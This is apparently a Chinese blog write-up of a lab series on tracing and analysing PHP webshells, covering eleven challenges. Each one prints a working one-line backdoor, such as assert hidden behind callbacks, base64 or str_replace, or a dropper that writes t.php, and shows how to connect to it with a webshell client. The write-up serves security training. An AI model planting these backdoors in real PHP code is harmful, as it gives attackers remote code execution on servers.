墨者学院-WebShell代码分析溯源系列全解(writeup)


19年的时候在墨者上面刷的,全扔笔记软件里了。现在还是写出来存blog里

WebShell代码分析溯源(第1题)

代码审计就掏出seay

1
2
3
4
5
6
7
<?php

error_reporting(0);

$_GET['POST']($_POST['GET']);

?>

1-1.png

一顿扫就完事了
使用旧版菜刀连接
1-2.png

1
2
www/cn-right.php?POST=assert 
密码为GET

1-3.png


WebShell代码分析溯源(第2题)

seay分析到这里
2-1.png

1
2
3
4
5
<?php
$POST['POST']='assert';
$array[]=$POST;
$array[0]['POST']($_POST['assert']);
?>

2-2.png

直接写$array[0]直接弹出报错,加上[‘POST’]就成功弹出assert
2-3.png

语句合起来就是
2-4.png

连接
2-5.png


WebShell代码分析溯源(第3题)

seay又是一顿扫,审计一下源码,就是把一句话变形了
3-1.png

看到$gg就是把几个东西连接了起来
$g[1]就是s,chr(‘116’)就是t
3-2.png

phpinfo验证可以
3-3.png

连接起来就是assert

assert($_POST[get]);
直接一句话木马尝试

3-4.png


WebShell代码分析溯源(第4题)

seay没跑出来。。
4-1.png

手翻bin.php
一句话变形
php回调函数类一句话木马
array_filter
4-2.png

assert加密后YXNzZXJ0
array_filter()函数用回调函数过滤数组中的值。
这样回调函数名就是assert,构成一句话木马 assert($_POST[‘密码’])
直接菜刀连

base64_decode($_REQUEST['e'])($_POST['POST']);
4-3.png


WebShell代码分析溯源(第5题)

还是没出来,手审吧。回调函数,别问这么多。。
5-1.png

5-2.png

5-3.png

1
2
都是回调函数,密码是assert直接连接
连接起来: assert($_request['assert'])

5-4.png


WebShell代码分析溯源(第6题)

seay又没跑出来
6-1.png

直接找吧
6-2.png

涉及到了回调函数array_map
6-3.png

和之前有题如出一辙吧,传e为加密后的,菜刀连接
6-4.png

密码POST,拿到key
6-5.png


WebShell代码分析溯源(第7题)

7-1.png

1
2
3
4
5
<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['POST']);
uasort($arr, base64_decode($e));

7-2.png

uasort实例
这题文件不难找,主要就是理解uasort函数的用法
这里又涉及到了回调函数
assert与$_REQUEST[‘POST’]构成了一句话木马。
传入的assert经base64加密后通过菜刀连接,拿key

7-3.png


WebShell代码分析溯源(第8题)

通过对一些常用的变量传值进行查找,找到
8-1.png

1
2
3
4
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');
就是把传入的preg_replace代入到array_walk中,之后在回调到第二句,组合成为($_POST['pass'])连接一句话木马,拿到key

8-2.png


WebShell代码分析溯源(第9题)

自动审计没找到,就全局搜索REQUEST吧
9-1.png

1
2
3
4
5
6
7
8
9
error_reporting(0);
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['REQUEST']);

这里看到主要函数只有register_shutdown_function
关于函数的可以看 http://yanue.net/post-99.html。
个人理解过来是等待函数上面的语句结束后,页面,程序,语言执行完成后,执行函数内
assert,$_REQUEST['REQUEST']
执行一句话木马,直接菜刀连拿key。

9-2.png


WebShell代码分析溯源(第10题)

10-1.png

1
2
3
4
5
6
<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['GET']);
?>

10-2.png

主要是register_tick_function和declare函数
这两个函数通常都是一起使用的
10-3.png

ticks代表事件,次数,register_tcik_funtion用来指定tick的事件
传入assert,$_REQUEST[‘GET’],在此构成了一句话木马,直接连接
密码GET,直接连接

10-4.png


WebShell代码分析溯源(第11题)

代码回炉一下
11-1.png

1
2
3
4
5
6
7
8
<?php
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87') //如果1有值 并且 为 GET.fPZ87
{
$_=@fopen('t.php', 'a'); //创建文件,并且写入
@fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));
@\$_(\$_POST[1]);?>"); //文件内容
@fclose($_);} //关闭打开的文件并且保存
?>

str_replace直接替换把ert替换为vey,把ass替换为ilo,所以直接用替换完的去代替。assert($_POST[1])一句话木马

11-2.png

菜刀直接连,拿key
总体思路是先满足mysql_conn.php的要求生成t.php,之后通过菜刀连接绕过过滤拿key
11-3.png